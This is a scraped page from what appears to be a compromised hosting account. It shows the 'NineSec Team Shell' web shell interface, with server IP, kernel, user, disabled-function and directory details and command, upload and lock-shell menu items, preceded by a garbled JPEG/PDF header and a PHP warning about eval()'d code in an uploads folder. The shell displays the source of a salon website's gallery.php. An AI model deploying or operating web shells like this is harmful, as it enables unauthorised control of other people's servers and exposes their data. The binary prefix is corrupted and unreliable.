JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357389_0_197006009.php(44) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/prince.ranchihairsalon.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/prince.ranchihairsalon.com/public_html/gallery.php
<?php
$page_title = "Gallery";
require_once 'includes/header.php';

// Define categories and their display names
$categories = [
    'all' => 'All',
    'hair-patch' => 'Hair Patches',
    'hair-wig' => 'Hair Wigs',
    'transformations' => 'Transformations',
    'salon' => 'Salon'
];

// Function to scan directory for images
function getGalleryImages($category = 'all') {
    $gallery_dir = 'assets/images/gallery/';
    $images = [];
    
    if ($category === 'all') {
        // For "all" category, scan all subdirectories
        if (is_dir($gallery_dir)) {
            $subdirs = array_filter(glob($gallery_dir . '*'), 'is_dir');
            foreach ($subdirs as $subdir) {
                $cat = basename($subdir);
                $files = scandir($subdir);
                foreach ($files as $file) {
                    if ($file != '.' && $file != '..' && preg_match('/\.(jpg|jpeg|png|gif|webp)$/i', $file)) {
                        $images[] = [
                            'url' => $subdir . '/' . $file,
                            'title' => ucwords(str_replace(['-', '_'], ' ', pathinfo($file, PATHINFO_FILENAME))),
                            'category' => $cat
                        ];
                    }
                }
            }
        }
    } else {
        // For specific category, scan that directory
        $category_dir = $gallery_dir . $category . '/';
        if (is_dir($category_dir)) {
            $files = scandir($category_dir);
            foreach ($files as $file) {
                if ($file != '.' && $file != '..' && preg_match('/\.(jpg|jpeg|png|gif|webp)$/i', $file)) {
                    $images[] = [
                        'url' => $category_dir . $file,
                        'title' => ucwords(str_replace(['-', '_'], ' ', pathinfo($file, PATHINFO_FILENAME))),
                        'category' => $category
                    ];
                }
            }
        }
    }
    
    // If no images found, use sample images
    if (empty($images)) {
        $sample_images = [
            ['url' => 'https://via.placeholder.com/400x300?text=Hair+Patch+1', 'title' => 'Hair Patch 1', 'category' => 'hair-patch'],
            ['url' => 'https://via.placeholder.com/400x300?text=Hair+Patch+2', 'title' => 'Hair Patch 2', 'category' => 'hair-patch'],
            ['url' => 'https://via.placeholder.com/400x300?text=Hair+Wig+1', 'title' => 'Hair Wig 1', 'category' => 'hair-wig'],
            ['url' => 'https://via.placeholder.com/400x300?text=Transformation+1', 'title' => 'Transformation 1', 'category' => 'transformations'],
            ['url' => 'https://via.placeholder.com/400x300?text=Salon+1', 'title' => 'Salon 1', 'category' => 'salon'],
            ['url' => 'https://via.placeholder.com/400x300?text=Salon+2', 'title' => 'Salon 2', 'category' => 'salon'],
            ['url' => 'https://via.placeholder.com/400x300?text=Transformation+2', 'title' => 'Transformation 2', 'category' => 'transformations'],
            ['url' => 'https://via.placeholder.com/400x300?text=Hair+Wig+2', 'title' => 'Hair Wig 2', 'category' => 'hair-wig'],
        ];
        return $sample_images;
    }
    
    return $images;
}
?>

<!-- Hero Section -->
<section class="hero-section-gallery py-5" style="background: linear-gradient(rgba(0,0,0,0.8), rgba(0,0,0,0.8)), url('assets/images/gallery-hero.jpg'); background-size: cover; background-position: center;">
    <div class="container py-5">
        <div class="row align-items-center">
            <div class="col-lg-8 mx-auto text-center text-white">
                <h1 class="display-4 fw-bold mb-4">Our Gallery</h1>
                <p class="lead">Witness the transformations and our premium salon environment</p>
            </div>
        </div>
    </div>
</section>

<!-- Gallery Filter -->
<section class="py-5">
    <div class="container">
        <div class="row mb-5">
            <div class="col-lg-8 mx-auto">
                <ul class="nav nav-pills justify-content-center mb-4" id="galleryTabs">
                    <?php foreach ($categories as $key => $name): ?>
                    <li class="nav-item">
                        <a class="nav-link <?php echo $key === 'all' ? 'active' : ''; ?>" 
                           data-bs-toggle="pill" 
                           href="#<?php echo $key; ?>">
                            <?php echo $name; ?>
                        </a>
                    </li>
                    <?php endforeach; ?>
                </ul>
            </div>
        </div>

        <div class="tab-content">
            <?php foreach ($categories as $key => $name): ?>
            <div class="tab-pane fade <?php echo $key === 'all' ? 'show active' : ''; ?>" 
                 id="<?php echo $key; ?>">
                <div class="row gallery">
                    <?php
                    $images = getGalleryImages($key);
                    foreach ($images as $image):
                        // Skip if not in current category (for 'all' tab we show everything)
                        if ($key !== 'all' && $image['category'] !== $key) {
                            continue;
                        }
                    ?>
                    <div class="col-lg-3 col-md-4 col-sm-6 mb-4">
                        <div class="gallery-item">
                            <a href="<?php echo $image['url']; ?>" 
                               data-lightbox="gallery-<?php echo $image['category']; ?>" 
                               data-title="<?php echo $image['title']; ?>">
                                <img src="<?php echo $image['url']; ?>" 
                                     alt="<?php echo $image['title']; ?>" 
                                     class="img-fluid rounded shadow-sm"
                                     style="height: 200px; width: 100%; object-fit: cover;"
                                     onerror="this.src='https://via.placeholder.com/400x300?text=<?php echo urlencode($image['title']); ?>'">
                                <div class="gallery-overlay">
                                    <div class="gallery-caption">
                                        <h6><?php echo $image['title']; ?></h6>
                                    </div>
                                </div>
                            </a>
                        </div>
                    </div>
                    <?php endforeach; ?>
                </div>
            </div>
            <?php endforeach; ?>
        </div>
    </div>
</section>

<!-- Video Tour Section -->
<section class="py-5 bg-light">
    <div class="container">
        <h2 class="text-center mb-5">Salon Tour</h2>
        <div class="row align-items-center">
            <div class="col-lg-6 mb-4 mb-lg-0">
                <div class="ratio ratio-16x9">
                    <iframe src="https://www.youtube.com/embed/dQw4w9WgXcQ" 
                            title="Prince the Barber Salon Tour" 
                            frameborder="0" 
                            allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" 
                            allowfullscreen>
                    </iframe>
                </div>
            </div>
            <div class="col-lg-6">
                <h3>Experience Our Premium Salon</h3>
                <p>Take a virtual tour of Prince the Barber salon and see our state-of-the-art facilities, comfortable ambiance, and professional setup.</p>
                <ul class="list-unstyled">
                    <li class="mb-2"><i class="fas fa-check text-success me-2"></i> Modern equipment and tools</li>
                    <li class="mb-2"><i class="fas fa-check text-success me-2"></i> Hygienic and clean environment</li>
                    <li class="mb-2"><i class="fas fa-check text-success me-2"></i> Comfortable seating area</li>
                    <li class="mb-2"><i class="fas fa-check text-success me-2"></i> Professional consultation room</li>
                    <li class="mb-2"><i class="fas fa-check text-success me-2"></i> Premium product display</li>
                </ul>
                <a href="contact.php#visit" class="btn btn-primary mt-3">Visit Our Salon</a>
            </div>
        </div>
    </div>
</section>

<!-- Testimonials in Gallery -->
<section class="py-5">
    <div class="container">
        <h2 class="text-center mb-5">Customer Transformations</h2>
        <div class="row">
            <div class="col-md-4 mb-4">
                <div class="card testimonial-card border-0 shadow-sm h-100">
                    <div class="card-body">
                        <div class="text-center mb-4">
                            <img src="https://via.placeholder.com/100x100" class="rounded-circle" alt="Customer">
                            <h5 class="mt-3 mb-1">Rajesh Kumar</h5>
                            <p class="text-muted small">Hair Patch Customer</p>
                        </div>
                        <p class="card-text">"The hair patch changed my life! Natural look and comfortable to wear. Highly recommended!"</p>
                        <div class="text-center">
                            <div class="star-rating">
                                <i class="fas fa-star text-warning"></i>
                                <i class="fas fa-star text-warning"></i>
                                <i class="fas fa-star text-warning"></i>
                                <i class="fas fa-star text-warning"></i>
                                <i class="fas fa-star text-warning"></i>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            <div class="col-md-4 mb-4">
                <div class="card testimonial-card border-0 shadow-sm h-100">
                    <div class="card-body">
                        <div class="text-center mb-4">
                            <img src="https://via.placeholder.com/100x100" class="rounded-circle" alt="Customer">
                            <h5 class="mt-3 mb-1">Priya Sharma</h5>
                            <p class="text-muted small">Hair Wig Customer</p>
                        </div>
                        <p class="card-text">"My custom wig looks so natural! The team at Prince the Barber is truly professional."</p>
                        <div class="text-center">
                            <div class="star-rating">
                                <i class="fas fa-star text-warning"></i>
                                <i class="fas fa-star text-warning"></i>
                                <i class="fas fa-star text-warning"></i>
                                <i class="fas fa-star text-warning"></i>
                                <i class="fas fa-star-half-alt text-warning"></i>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            <div class="col-md-4 mb-4">
                <div class="card testimonial-card border-0 shadow-sm h-100">
                    <div class="card-body">
                        <div class="text-center mb-4">
                            <img src="https://via.placeholder.com/100x100" class="rounded-circle" alt="Customer">
                            <h5 class="mt-3 mb-1">Amit Singh</h5>
                            <p class="text-muted small">Regular Customer</p>
                        </div>
                        <p class="card-text">"Best grooming services in Ranchi! Professional staff and premium services."</p>
                        <div class="text-center">
                            <div class="star-rating">
                                <i class="fas fa-star text-warning"></i>
                                <i class="fas fa-star text-warning"></i>
                                <i class="fas fa-star text-warning"></i>
                                <i class="fas fa-star text-warning"></i>
                                <i class="fas fa-star text-warning"></i>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</section>

<?php require_once 'includes/footer.php'; ?>

NineSec Team - 2022